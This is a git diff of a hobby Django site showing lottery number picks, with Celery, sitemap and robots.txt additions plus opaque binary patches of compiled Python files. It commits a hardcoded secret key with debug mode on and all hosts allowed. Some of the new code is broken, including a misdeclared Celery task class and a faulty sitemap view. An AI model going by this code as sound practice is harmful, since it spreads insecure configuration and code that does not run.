b/lottopy_site/lottopy/lottopy_web_edition/pb_ans.csv @@ -1,2 +1,2 @@ Winning_Numbers,PB,Chance -21-33-39-59-63,[17],16/48700223 +21-39-59-61-63,[17],3/8854586 diff --git a/lottopy_site/lottopy/models.py b/lottopy_site/lottopy/models.py index 71a83623..fd68cbe7 100644 --- a/lottopy_site/lottopy/models.py +++ b/lottopy_site/lottopy/models.py @@ -1,3 +1,16 @@ from django.db import models +import os, csv # Create your models here. +class Lotto(): + module_dir = os.path.dirname(__file__) + names = list(["pb", "mm", "la", "d3", "d4", "c25"]) + files = list() + for i in names: + files.append(os.path.join(module_dir,"lottopy_web_edition",i+"_ans.csv")) + files = [i for i in files if os.path.isfile(i)] + + def get_ans(f): + ans = csv.DictReader(open(f), delimiter=',') + fmt = [str(k)[1:-1].replace("'"," ").replace("_"," ") for k in ans] + return str(fmt).replace(",","\n").replace("[","").replace("]","").replace("'","") \ No newline at end of file diff --git a/lottopy_site/lottopy/sitemaps.py b/lottopy_site/lottopy/sitemaps.py new file mode 100644 index 00000000..8a769d73 --- /dev/null +++ b/lottopy_site/lottopy/sitemaps.py @@ -0,0 +1,14 @@ +from django.contrib import sitemaps +from django.urls import reverse, path +from .views import home, about, robots_txt + +class StaticViewSitemap(sitemaps.Sitemap): + protocol = 'http' + priority=.5, + changefreq='weekly' + + def items(self): + return ['home', 'about', 'robots_txt'] + + def location(self, item): + return reverse(item) \ No newline at end of file diff --git a/lottopy_site/lottopy/tasks.py b/lottopy_site/lottopy/tasks.py new file mode 100644 index 00000000..f2b1d850 --- /dev/null +++ b/lottopy_site/lottopy/tasks.py @@ -0,0 +1,30 @@ +import os, csv +from celery import shared_task + +@shared_task() +def secret(): + string = "If you can see this, fuck off" + return string + +module_dir = os.path.dirname(__file__) + +def get_ans(f): + ans = csv.DictReader(open(f), delimiter=',') + fmt = [str(k)[1:-1].replace("'"," ").replace("_"," ") for k in ans] + return str(fmt).replace(",","\n").replace("[","").replace("]","").replace("'","") + +all_nums = [] + +@shared_task() +class data_task(): + def __init__(): + pb_file_path = os.path.join(module_dir,'lottopy_web_edition/pb_ans.csv') + mm_file_path = os.path.join(module_dir,'lottopy_web_edition/mm_ans.csv') + la_file_path = os.path.join(module_dir,'lottopy_web_edition/la_ans.csv') + d3_file_path = os.path.join(module_dir,'lottopy_web_edition/d3_ans.csv') + d4_file_path = os.path.join(module_dir,'lottopy_web_edition/d4_ans.csv') + c25_file_path = os.path.join(module_dir,'lottopy_web_edition/c25_ans.csv') + data_task.all_nums.append(pb_file_path, mm_file_path, la_file_path, d3_file_path, d4_file_path, c25_file_path) + + return get_ans(all_nums) + #return pbnumbers, mmnumbers, lanumbers, d3numbers, d4numbers, c25numbers \ No newline at end of file diff --git a/lottopy_site/lottopy/urls.py b/lottopy_site/lottopy/urls.py index 77fb5c36..e495c554 100644 --- a/lottopy_site/lottopy/urls.py +++ b/lottopy_site/lottopy/urls.py @@ -1,5 +1,5 @@ from django.urls import path -from . import views +from lottopy import views from django.views.generic.base import TemplateView urlpatterns = [ diff --git a/lottopy_site/lottopy/views.py b/lottopy_site/lottopy/views.py index 97336eba..ea75391c 100644 --- a/lottopy_site/lottopy/views.py +++ b/lottopy_site/lottopy/views.py @@ -1,84 +1,52 @@ # Create your views here. from django.http import HttpResponse +from django.views.decorators.http import require_GET from django.shortcuts import render from django.conf import settings from django.core.cache.backends.base import DEFAULT_TIMEOUT from django.views.decorators.cache import cache_page -import os -import csv +from .models import Lotto #f = "~/projects/django_lottopy/lottopy_site/lottopy/lottopy_web_edititon/pb_ans.csv" # MAKE SURE TO START REDIS BEFORE SITE LOADS +CACHE_TTL = getattr(settings, 'CACHE_TTL', DEFAULT_TIMEOUT) +@cache_page(CACHE_TTL) def base(request): return render(request, 'lottopy/base.html', {'nbar': 'home'}) -CACHE_TTL = getattr(settings, 'CACHE_TTL', DEFAULT_TIMEOUT) @cache_page(CACHE_TTL) -def home(request): - # Powerball - module_dir = os.path.dirname(__file__) - pb_file_path = os.path.join(module_dir,'lottopy_web_edition/pb_ans.csv') - pb = csv.DictReader(open(pb_file_path), delimiter=',') - pb_numbers = {} - for x in pb: - pbnumbers = str(x)[1:-1].replace("'"," ").replace(",","\n").replace("_"," ") - pbnumbers.capitalize() +def home(request): - # MegaMil - mm_file_path = os.path.join(module_dir,'lottopy_web_edition/mm_ans.csv') - mm = csv.DictReader(open(mm_file_path), delimiter=',') - mmnumbers = {} - for y in mm: - mmnumbers = str(y)[1:-1].replace("'"," ").replace(",","\n").replace("_"," ") - - # Lotto America - la_file_path = os.path.join(module_dir,'lottopy_web_edition/la_ans.csv') - la = csv.DictReader(open(la_file_path), delimiter=',') - lanumbers = {} - for z in la: - lanumbers = str(z)[1:-1].replace("'"," ").replace(",","\n").replace("_"," ") - - # Daily3 - d3_file_path = os.path.join(module_dir,'lottopy_web_edition/d3_ans.csv') - d3 = csv.DictReader(open(d3_file_path), delimiter=',') - d3numbers = {} - for a in d3: - d3numbers = str(a)[1:-1].replace("'"," ").replace('"', " ").replace(",","\n").replace("_"," ") - - # Daily4 - d4_file_path = os.path.join(module_dir,'lottopy_web_edition/d4_ans.csv') - d4 = csv.DictReader(open(d4_file_path), delimiter=',') - d4numbers = {} - for b in d4: - d4numbers = str(b)[1:-1].replace("'"," ").replace('"', " ").replace(",","\n").replace("_"," ") - - # Cash25 - c25_file_path = os.path.join(module_dir,'lottopy_web_edition/c25_ans.csv') - c25 = csv.DictReader(open(c25_file_path), delimiter=',') - c25numbers = {} - for c in c25: - c25numbers = str(c)[1:-1].replace("'"," ").replace('"', " ").replace(",","\n").replace("_"," ") - - #Sanitizer (WIP) - #for key, value in pbnumbers.items(): - # pbnumbers = str(key)+":"+value - - context = { 'nbar': 'home', - 'pbnumbers': pbnumbers, - 'mmnumbers': mmnumbers, - 'lanumbers': lanumbers, - 'd3numbers': d3numbers, - 'd4numbers': d4numbers, - 'c25numbers': c25numbers, - 'active': 'active' + 'pbnumbers': Lotto.get_ans(Lotto.files[0]), + 'mmnumbers': Lotto.get_ans(Lotto.files[1]), + 'lanumbers': Lotto.get_ans(Lotto.files[2]), + 'd3numbers': Lotto.get_ans(Lotto.files[3]), + 'd4numbers': Lotto.get_ans(Lotto.files[4]), + 'c25numbers': Lotto.get_ans(Lotto.files[5]), } + return render(request, 'lottopy/home.html', context) +@cache_page(CACHE_TTL) def about(request): return render(request, 'lottopy/about.html', {'nbar': 'about', 'title': 'About'}) + +@cache_page(CACHE_TTL) +@require_GET +def robots_txt(require_GET): + lines = [ + "User-Agent: *", + "Disallow: /private/", + "Disallow: /junk/", + ] + return HttpResponse("\n".join(lines), content_type="text/plain") + +def sitemap(request): + return render(request,sitemaps,section=None,template_name='sitemap.xml',content_type='application/xml',) + \ No newline at end of file diff --git a/lottopy_site/lottopy_site/__pycache__/__init__.cpython-310.pyc b/lottopy_site/lottopy_site/__pycache__/__init__.cpython-310.pyc index 582e14a29885b213a63139e4ed1e78d60c0d3c94..747cd4198fc403f5703ef1433b320ee6145a0a9f 100644 GIT binary patch literal 325 zcmY*TyH3O~5VW1gMG+_NBWTi)k_I8ZfC4%=|VeZ1~JN#Be43qj_VCS4F|ra3alC3iv!&a}`KR<4!}?X_%m^T3Ao zL`gP?^<3?f$2l9YF8G+&-8|WY*9OpL6BVWtFG;>uDg=`LV9>+`$lVPa*#kVzd5#7k zmN#NWB-@`*Y|5o2S~ma+5#Wu*t{e+}-H*@SneoLUTBDaqIqDok^ha~ZY1BtGJ$XQ% lvk%MotB^|Qp8>Fw%>b8SS-WfJ^^E4Gyq!w-j-Az=_y(6kS+f8D delta 82 zcmX@gw4Tv9pO=@50SNlVXC#5>#~=b3FakLaKwQiMBvKfH88jLFRx%WUgrUU5t7&XZ IKrRad0M7>sk^lez diff --git a/lottopy_site/lottopy_site/__pycache__/settings.cpython-310.pyc b/lottopy_site/lottopy_site/__pycache__/settings.cpython-310.pyc index 71bdc6943284c773cc250613a686bb872c804ab6..ba82e71605553c691fabd685434acfdceddb6d2e 100644 GIT binary patch delta 635 zcmZ{g&2AD=6vyYzOv^y|D1{a%^b=^IwME62(r6-uS&$;cVH)FEbTZ|P3r~p7zAgoc%8s3hF}iEI7^jtaRwt-tU(}xQH)Vd6z4}dKFVssAUY3GT!0uZ!aPnu zoJIndU;&q5@vr5|fW=jvg(XbFGNxdK8l-Uz*GJ1&F#}1=LJBt^jhnDWcdR4VWU}{$ zd!$T?4|`7vyKATI9VhdyXE@1=vvj&}T-5fqp4zS6TfM!pV<(HfWFhsweVp&SN#|Ah zmTY7_{U7Z2M@|?|)sEiXZgo4hX`F0ZhOJpnZ>yxUUGUw18ge>Yz!=I;OZ=7AF^wKdadsX0-#Y|ZRs zGyRm?bc3r|l|`jm8Gd#@CJF@0Voj7@DhE>IP?VG-sRpxSB#F(Vnyeg@%7 ztItGe)J2H>0j1`lB1=@JH06>ci@{HFjkZF#er*TOw?JIMOiM2Q5$^)vn?@V zV=SzA01F$RfoHI`u<~SMoMgV_pZqg_GG_EGBDXvq7su-B&p)&)@#K4PxS0mcH*C`M2c{`soZ)-**wz?BaEDN)UQq%ipp=&S2*c&%=W&fdz>z zO*zE~*oRkZ)!(+{gCU53G`O{r~^~ delta 154 zcmeyv`IcQfpO=@50SNlVXCx^xGcY^`agYHEkmCTv#SRm-m6cLiQ&>`2QdpZAo0))Y zwp6Apwk-B$rgWw#juiG_22GBQ>t-@Z-(slZ$;mG%$uFqXD=o??u3}3}$<55u_tWH@ me3RL9atwJ!V$3Fl;oFGB~ diff --git a/lottopy_site/lottopy_site/settings.py b/lottopy_site/lottopy_site/settings.py index bcdb9478..dfa79ba6 100644 --- a/lottopy_site/lottopy_site/settings.py +++ b/lottopy_site/lottopy_site/settings.py @@ -16,19 +16,17 @@ import os # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent - # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! -SECRET_KEY = 'django-insecure-p4+um@+npnfqv=mul^--gz@$36@&7^)h@o*72&yqd@n00x$%e&' +SECRET_KEY = 'w=76&jm5z(xwiz#pk%%7^9e8-@tcwugm*5t#9w#7$ym^3nq%3a' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['*'] - # Application definition INSTALLED_APPS = [ @@ -40,8 +38,12 @@ INSTALLED_APPS = [ 'django.contrib.messages', 'django.contrib.staticfiles', 'fontawesomefree', + 'django.contrib.sites', + 'django.contrib.sitemaps', ] +SITE_ID = 1 + MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', @@ -151,3 +153,9 @@ CACHES = { } } CACHE_TTL = 60 * 60 * 24 + +CELERY_BROKER_URL = 'redis://localhost:6379/0' +CELERY_RESULT_BACKEND = "redis://localhost:6379/1" +CELERY_TIMEZONE = "America/Eastern" +CELERY_TASK_TRACK_STARTED = True +#CELERY_TASK_TIME_LIMIT = 30 * 60 \ No newline at end of file diff --git a/lottopy_site/lottopy_site/urls.py b/lottopy_site/lottopy_site/urls.py index e6c61841..7c4aa337 100644 --- a/lottopy_site/lottopy_site/urls.py +++ b/lottopy_site/lottopy_site/urls.py @@ -15,8 +15,16 @@ Including another URLconf """ from django.contrib import admin from django.urls import include, path +from django.contrib.sitemaps.views import sitemap +from lottopy.sitemaps import StaticViewSitemap +from lottopy import views + +sitemaps = { + 'static': StaticViewSitemap, +} urlpatterns = [ path('', include('lottopy.urls')), path('admin/', admin.site.urls), + path('sitemap.xml', sitemap, {'sitemaps': sitemaps}, name='django.contrib.sitemaps.views.sitemap'), ] diff --git a/lottopy_site/static/css/base.css b/lottopy_site/static/css/base.css index 78944d01..07a88f09 100644 --- a/lottopy_site/static/css/base.css +++ b/lottopy_site/static/css/base.css @@ -55,7 +55,7 @@ --bs-body-bg-rgb: 255, 255, 255; --bs-font-sans-serif: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", "Liberation Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; --bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; - --bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0)); + --bs-gradient: linear-gradient(180deg, rgba(25, 96, 248, 0.15), rgba(255, 255, 255, 0)); --bs-body-font-family: var(--bs-font-sans-serif); --bs-body-font-size: 1rem; --bs-body-font-weight: 400; @@ -665,6 +665,15 @@ progress { max-width: 1320px; } } + +.container-mid { + float: center; + margin-left: auto; + margin-right: auto; + vertical-align: middle; + position: relative; +} + .row { --bs-gutter-x: 1.5rem; --bs-gutter-y: 0; @@ -4539,6 +4548,7 @@ textarea.form-control-lg { .card > .card-header + .list-group, .card > .list-group + .card-footer { border-top: 0; + text-align: bottom; } .card-body { diff --git a/lottopy_site/templates/lottopy/base.html b/lottopy_site/templates/lottopy/base.html index dc24f6bd..1484d0ad 100644 --- a/lottopy_site/templates/lottopy/base.html +++ b/lottopy_site/templates/lottopy/base.html @@ -5,7 +5,8 @@ - + + {% if title %} WV Lottopy | {{title}} diff --git a/lottopy_site/templates/lottopy/home.html b/lottopy_site/templates/lottopy/home.html index 23da664e..118d4020 100644 --- a/lottopy_site/templates/lottopy/home.html +++ b/lottopy_site/templates/lottopy/home.html @@ -62,14 +62,14 @@ -

- + {% endblock content %} \ No newline at end of file

80q9Os2Ax&THRrqO0YDt%c&1SJ|XSO8w z|Fcj+BlnCs1w~_A_gJRJqPZpfOpAp{fpzfg)83AwGe@u-JY8 z9Xb8VQGPOhHx>Rh3RXrWH^7G-A6UlGQ16iXyYR*@r!+luF@>1v1md&Pmnf>oNR5d~ z9Z1UA1mg2Vg>ExB>LLf6b0jNjnTn4OBe5a^QNUESwitIEeO^4Swf^NR#aeBOY?q?E zCy`n@X=EU1dOT5R#wvfkPvO6%E)nliq%;Gbt2~;)?RC^}N{}__VPWu*G=iwRQACX< z7();#6B>!~qser-G*+*`xq+LnmC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aseK&J*Fz zrFn5ND2*q4gSg5i!u-qiXzCA_)ABZ92j5IUB76%$B0-O3J6UeQ0sF$voo2|tk|B$e zdVdjE&6U|n;%onVbkeGi+z|GW*H4K43s=5~rI@j+oVdN=^jFE~<(04YCBHy+{yymq zBFvs!#i^@98HamUGnhG?^7SAli;=&CvTIID7Y+9^4bcYSYYof{L$9~@%xe@pe?1Pq zzaG!FLG+Emf}bA0wa4PKM2QgOF0%QY2oP^F!;5L$R_Ycf>=%i8i6BVu&|Nb&-z8P( zRwa`$aQ#LfG|6se^|(TpBLkG&EW(rrZcbw<&~)>uO zv64WXmO|tTo#Y}HxO8fYQ>ZBKe{{%dK@rVVAdqE)QPP8Z!WBbW2bBz2ZR zJnAhasvkkJE(-B6($9w5G_3HE(6 z5?>T9f8$G})ohD%)Z%NP)2{f%%ZUc7?mU5^?YX0}&msTrWTg3BYq3a~SOTJ`Me?2@ zON$6X1R|X0iCRbS%kYPHf67=K?#t~S0 zV0_y!nGG!#mkv>O_sOUz`LRTa)nmrDTzpaVbB@n#-8G)o)+)1%WU=DJaN@mCT={VC z*4f(Lm)Yf}d^BWB5-GA**ZZmzeA2W#-F3C%nly$+6EBdJL=7j{P9Qd%*NGZI@Fu}X wf?Wjk*29NT2=wk2c@i8#R4VZvC&;JfD6yDosGZR^#>{fqFAhFsW`o)P0bfJ@+yDRo diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/polynomial.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/polynomial.cpython-310.pyc index efa623b57ab5863452bd8e7f408794f6a8e17803..0c123dd234d0bbae23d93dcbb1701976acce79ad 100644 GIT binary patch delta 3964 zcmZ`+dr(x@8PC}lEDtpUG_68S8U(HgqUdO?kcZVI1s11CT0!gevU_1~xcl(jyAT*s zs{yGGL_I!;CXl`qLSJSx(@q~VX{PBPohG%NG&ZNxXPQPkoi^=E{%AYX>G_=tyLV;7 zj6cu)&i9?~{hhOyUh!Od#Z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a/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/scimath.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/scimath.cpython-310.pyc index ad16c767f16367f90a288f8bb1fef8a032168a08..2805f8158d2ec32e72eccfe427b341d30909a055 100644 GIT binary patch delta 887 zcmbPRIk%E0pO=@50SNlVXC!Upspn$6HMxgNNB0(6X>mq=QOPa#CAs zl?AClft38xq?}Yu##_vZMMWzailiq$<(kAOJ6S-o+>?3p95n z<1NODB55ECLdZ;R;nkSjBqRz_y7?6Ebw&X>xFlGa%;b&y>WqpY<2JwL{{k_l2t&~~ zK}|*#pdxKiur3Vw1R*6xwaE{ZWj4W88xjOv@k#Fn$j zgH#r2fCzT1O7BR4lnP3JLRJb2LrhbZ6dWB@K{6mGu4KB!m{%kZ<3fW2$h{>HpOc@S z7oU<@T##6joRL}-%E-X*nF%Px!C0g>IY3i(^Ff7=Orn|~y*g+HOg^q`26WFq<$Wwh z3LrVK(>XvabYFtRKoYe;sN`03whhyhhiIQynO%$(VSDd9tjT^yX{2$C%|+;M#aVEOf_C z-faj9=MRP#k(KgdRrmSCv^XQbs3eL#xi~W~JtsAaEwQ+y zvLF>Gkdj}Tl#{B-7{#1eRJ4+zNOba3u1SpIlNE$SCcow9oP3H`Ve?k*U5ujQKyz0z z-eRmM5(Tm#gxKU3UJXVmnBvW+c&{@GNWi7R3dJUGnP6}wrEvCGRA~uk17^)wNnlLJE786^}A`eno zqy!?^u`0bI1yU*~{RvqqC=@YGRZ?(tln2RxoVb$d7GqwKB#a9U5Fq!KKzvSqdR}}= zW^qAcNpePNQ79t=!)GR-6bECG#^eA^+06$PJ~D|agY>GQ88G>{vKi1l|CIN!7$Ka_ z0aAtTOOO~yq84a;kqVdxG+bn|uL6f^kt&FffhkC-sM!k^BvbjYDwVPJ)CIXUN<6PLx1drlIlm}X56Da{%1j2O z@Zu;QWL}Zr`JbJd8kmRb>gbMaN6mzyE@bU-?>z7z%0Idp8wXw_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y/lib/python3.10/site-packages/numpy/lib/__pycache__/stride_tricks.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/stride_tricks.cpython-310.pyc index e92b27329ca5a4ccb9b7db0d1a76eb7d8a752452..0dc45694e47946349b233d02befd424c6a54a25a 100644 GIT binary patch delta 967 zcmY*X%}*0i5a(^br5{OSQc8vXY{iw6#B zj4|1BwOYx7zaldT3%#Vv# z*+y$(`nx}$JS`-Zo|F-aR)ICDC(jcj>n^`pa))U4=1DKP4DEl`7`kZ%>ErxcX?tmj zqPGd|AzjB99Jjherv8Xi`9kL=u7!HMyEh20FyS=}f&dSjxr) z3pK`#cke=1U1~QhjQj&GU5zVuChkmR<3i85MZ_+?o_o*hckY?vLvnmbqIN8Hp$mRy z>x1?#`q@t?|LQkMs=XG7L{c=QIT~YHlZ7G13sl`^U1uq7#WU#)+^{Snjktn{A^Q2- z_;PF*Oj$bh@t^VOOG9wuMH_}ywHvDQK&$JXU)wjFzcDL`3X$8-61^$X!{3Y?fs}ir zM@eiUOP-`mc#^i?B5a5c=U(JRXQAP&y_{fu*duJXI@7jHoejVd^nA$`CNbXgn}*{u z%<_B(Mx6$me>G|3tP3VPJkRfS6R$;71F(+&Oa4) z$s#Wo`?4cgHG;swTE6ocyk49oOYK(C^e4~KVF!yCe!V?9l_O~}$vj?6BW4f*M1~us z6|&ZTU)u6zF2fCc4`M+9y;gUdaLQxY5FamZMAth0RrsU)WqE?6`N#59P&8fTC*^Bo zvt63~9xU|yD-=WL9m7{`o%RyXeEa_>1&&z>!pHfy%Fg-? z^sXT803cCpMd&zJ8C(O9;{?G7c1h&oZ_t4=cs|WE*#=l0A$R%f`O1}LJmc&%Y3o+7ti491ucO;s6M4l|U8qoo(#R4|4eAdFH)&Z{GXP zK7L3ZKP1himX^>d@%L%?Zu(yHh}xR;=S$m3Wh1w~Q9VV+*@AkP#F*aH!TwUi&x{M# zD&eF+VY!I1?m$18f{(Kj_*H2;SKE?KQRixtqMmtCtd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wq=d} zU*~2J?JE=Ov?NM2?K`rZXaPOzI^loR&LfSN;ph-uVRwwk#A#ugx>bZKL}#9w5y#|D z%lhr7~_H_-)`O;Oip06&a5l*-n6yUD*)ckj|}9 z+bX7W8;62^i*$MNOSuivQazbw`;%kmR`{EQ zRj%XT>iE=o;<)9h=Jx$syhewSiULyKX;>)MXr{8BcQCL8WPmJ?1M+|jL@HC?wNo2* z(bV_kKVH6KiEHx1zX9RvlBK5LnRUcJBVcIqf|&I<$i#YCG+m0qdm=1||{EY&9t0UCwGk zFXCOy$5=;lV(73sDvBAfC_N^2R!RKFJPset@xk z;6p(AJ=xul*@^m(#Gs*DjS4F)b+VIdK{t~7olHYp^bSz1oPG>ff5}6bN9T`~%vPNN zGRF3uK2l&`JA=ez51g#vSfMv$Hss1#XK!>ZPi@+P@Q{GXwhAu`kIxIkBY2$X1keR^ z0}BFNThHXJ5-FOUNI00-y?1_0UP+pq=!S^tZ$YTfqw$gb0G F{sa5Iqt^fc diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/type_check.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/type_check.cpython-310.pyc index 7ed78c4cbc4ae46b21dfaa685072bfd44d99b11f..54ce66abdeaa1ec33823f6a1512f34d5c988a8c2 100644 GIT binary patch delta 1827 zcmZWp&2Jk;6!+|ho!E};Hc^6YNa`eZvIQz3N*vNEuAQ_AQtUP~(5e@A?W`Ru8?TwQ zsUsn!Af!T&g2V_3p&lajRD?k7ivOVEz=1C%qrTy)jdGGz^ z&HLD+V{&v%!q&)0&FSg5yht{v#pBr0b0x{P<|OVV5!Uo>PBDLUHOUyPtWN8@Ao4 zR88HsMUJ_G40Mszs<`O~_;WEM^ z!Ww`kQ*m*$yrqhOy)4ew^o;U9Zgwy8!9fu`xLRv8YZjOH^e%nXrJI2d6-rX`QlWXU zTsPWayVqzQ66ilaY=%jYgb95c#HtGL--9yPxOM5zxTeyTv!LQi)oSf?xv4j~zh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RswZ|5fEk|@+A)QB6!P!jhn zp!70;DpMr(j#EUygDmcLI^+KzH~T36{=o*gaiwmx>Nc16j2?Z;qe~;5P?Gu}6`F_i zhS>qzJ*)Kzf&L4?W`u-DgwQPzYYM=BAIf0k)nz#2szOUofQtKTc6*=8Eu+N)ZQFrZ zc%WrA;D7LB_T|DEua~a64;SLG15JT6+c)TIz(Mg0VO>=TSKfo}Fx42v1aZZn)Y$jh z9ka;&tzB!+%it2aVFoES55-9mcc7lNlnl6_vtc?0MblKohCGe2^FiJk>NE_dwVp;=$bco)6q-dsv42d{#a8udC^)V<#j zCmld57zY-NRsl5GY&%>wnoT}t>^OF_+cCY{;XPHqIGMh6;%qXXb>fS2<>5tEiaI)KLDPpjrwS4~>gGvWPZHESl{j#=54&CT_*H7-S z!;K5ce!4K2fzi3i9&O~NF2g1d2_iA;YJh&g;+5IQ#GTWqCGDZRU#t|;38YFQ-~*`o ztMIA*ZTbeRKqB;QcCV6*)?mqlx(=1lb&Wl!WD=rgVu;1tBs%Rhm}#F@XAeXfr*Jji zt#@0srgg&Bs2yA;KX-6rtaAUgxp1m-#=qTYqi< diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/ufunclike.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/ufunclike.cpython-310.pyc index e98cc4106896c52cfa26e665afeb67a7b060f9bb..1a3d460d473ae7e3eeab98ee5483d179072101cd 100644 GIT binary patch delta 121 zcmbPWJHeJGpO=@50SNlVXC!Up5$9mMwONHjj8*IwZ+cN`Vo7RId}?87V$Lm=lFEYA zTbl!T`8XIgCdZ3PGHOn)6xHE00qVWQm|A4Id7bD^c0mImx5yAk_!Sv}nC6o!WJ4Hl RO+G8D%&GxWI{B;YYyc%GB47Xj delta 121 zcmbPWJHeJGpO=@50SIzd?n&IpBhJAXwONHjj8!a(H@zq|u_U!9KDDqkG3ORbNo7H5 z)aC$QJ`P6p$?>9+j2e?GMRhn0fqHK-rWP4(UMISfT~HUuEz$!Lent8qrpe?A*$~F4 S$!BGiS=E68QIo&Q&ISO{+#p>5 diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/utils.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/lib/__pycache__/utils.cpython-310.pyc index b7c1e41e0f82cc07422babd18c24143cf900fa0e..7f45174db34567936b706fb34fb1ac48dc2e4c59 100644 GIT binary patch delta 1852 zcmYk7U2GIp6o7kY|GI4#QkGv^YN07*p{)U=sbVOkSZSfHn{J_u$aXq2yE}AtW_xF* zv~`gLObjMS&6UJPOo5^Xf+9?ifM6dm3djQw^5A_i!UIVS5edd09>8;^!LXZrbM86k zo_prrbMD-^PJX>kO3X;4r~rNk=Y7<7rsM;ER19f`tUHPt3-f^CWOKuuedTW^QTI>( zWuIV#UAM5UlyLX)f(>EP#hR;Xh{*b@RuR!1uewVrOo+yVhPunLsTj1>96m!5P3xLv zi)^C0JLrH5jk=GkgQTJtWeMj5?BSeh@uGH9adb5S1DaxsYsSbP_fpM0fef${%T|)z zEFPN8{#Z6yybmVDghwP#MRsv{GTwzj!hOTGYEng|bSFlRBNAu{q;x55@sOlzX+u?b zk!%{amUc`Blqr+iR5G|PqYm+)Je>*KS=$8fcCywcWA5{HYs2Ia+tILs>~%*Q5~THG z41E|;g1~p6LBtqB0q}6rkg}?x$u`|HJw_Qfg7%@4mtu<5HEtjdqm4_*em2&)c+MfP ziG{YA)73#$rxWOUoZW0JFa8k4MF`6NZd^`|xK%G{L9&+}Xj;;69Q7DdjHFfDG94}NQ(IfeS$3+m zj2vZGTYH+%V-zw~fs@J+XFbJqW}adpYL5a09|#w5^akP_fRlQcEy{@wSrUCK^`+ZYe;pDV_oUPkDAC}*?`Q@bppc)BRTSb-dtF}gFbeMKV zGt!kQ(=ikXj#FmQ3HHtAg)8tN=(mVQ01s%knzgu3(si0bh2O%npN9@>5R)w2zJ3O7 zV{De_-<6SUnrA)jl|gU2CfM8UWnEX$@jJvd04J6h&Zv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SR@lx&EFw>GDNZ|BrMbvREkAgDp5_AkY@}8{9Ev91 z-D=wEDN@;)ou=6x3U}!gn#H@On@<_uvK8AfSt` zTafJW08gsr_Nwt`d(JsRcR0$sP}=)Lc8T^rCw0u8mVF(9*u-Z$+~;&cCg}*SmYG<5 z6<+7C-5c9YY1+&={R_a+Ig$F~(R%MSpJBj3bJC5@t7+p*7)gXAtVXgS3y(;IGdGOk)W@|q7zrfg z{?yf#(ym`EG7E`{10q>ID7PC7Mjz#4S^vs{oG7rsC-y7eC^p^Gg$)b3`pzpP4hwY3f($}L! zP?p2*T1ayMK>)JKpR1c~1@xyd>V<^-qffdG(U|O#KcNTPLA~iY=uz{AE4V)1D@$Nn zN?>@UnF#P#l=a?Z@rKB=o|z)%6^z8f!Jqmv&+<+c^ThO_#Z$$7*`nEce~$2Hqm<+{ zTBk+ee=F8)^Mu=)Q!8c&{<5~ZYsEzub2^~Dr~&eM1@LEUF8H#-+;Zj2#e(kwwpnl1 zibVwo0JWIS7|Mg!yR6xDqQdh$1||$$StoXhiSU3H=VHTJ{w!N8vc+OsT)~qJD|4=x zBW7Clb47)iIkaZ3Snu?(x!f0KujH|#@a=guo|!)U;wTKtOHyJ2mnk#2Y{<<1Eh_BB%l|-&2kXZt$2^qWj2R&0qwrolI{^;@@V^!LIKTyX65s|r4IrQCj0e03$OmKqJ_7JH z@>57T01zs_1o!}Bu;Bto86>Tcg%EQv=!HZf7$dU*eEN)q#MN90lRP|5hg1w{CZrkw OhiC=2$O)H;Q~w6SuOGbt diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/ma/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/ma/__pycache__/__init__.cpython-310.pyc index 29126f7f36f6139b921f47fc19ef0425844090d0..a1fc2d9e5b306ddc75515f840eb855e4d61a9ced 100644 GIT binary patch delta 38 rcmdnSvyF!*pO=@50SNlVXC!UpiD6~DH93=2hm98~RKz=ZHtTEvunq}I delta 38 rcmdnSvyF!*pO=@50SIzd?n&Ip6T`|FH93=2hm8j)RKzoRHtTEvwQ31k diff --git a/django_lottopy/lib/python3.10/site-packages/numpy/ma/__pycache__/core.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/numpy/ma/__pycache__/core.cpython-310.pyc index 9b672991aa0c3034e1b349f85d0c5317e1e94c92..24478cacf1b1ef4cd1c8376f99d5d4387cc88888 100644 GIT binary patch delta 19966 zcmbV!34B!5^?%NNlgVTykd=fbK@CRMK-gqg40`|xi$MsJWPkvf;7bBTVk4r0xPec& zqR6IL0Z}mGC~Za27PR70tF=RwYFoALZQW7%o$tAmnIyHpU;lsoaPr<=&UVi|_uO;u zn-A9|zPBzhp(ZggE{gxVJ>#zO!wC)DV@uVd+Mx2*2Agl|{`*)8Iu-f*DWf^*q9H^X zPEoI!d6^Uyl^<=t&b{oe{A_mv$N-22IF5=g&aqy7Rd;fp>7U&k*ZW!*b$4#=e>vqe zzukW&USn&(TA3RUSE;vs0W?L+2=eS##d7=af4S=+d3fhZj<|bHNC| ztB?!yJL^?e^WhO)-BjSrIGN(Sd&wUY3(#^L6V6xmVCUqeqtsAA*PK0Ww(<<++I*Ki 